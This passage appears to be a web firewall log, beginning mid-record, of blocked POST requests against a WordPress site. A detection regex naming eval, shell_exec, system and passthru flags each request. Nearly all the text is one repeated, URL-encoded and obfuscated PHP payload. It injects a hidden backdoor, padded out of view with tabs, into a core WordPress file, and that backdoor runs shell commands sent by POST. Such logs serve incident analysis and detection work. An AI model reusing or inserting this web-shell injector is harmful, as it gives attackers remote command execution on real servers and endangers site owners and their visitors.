unction_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:21","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> al:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6309\n\nal=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:24","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6332\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:44:27","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%252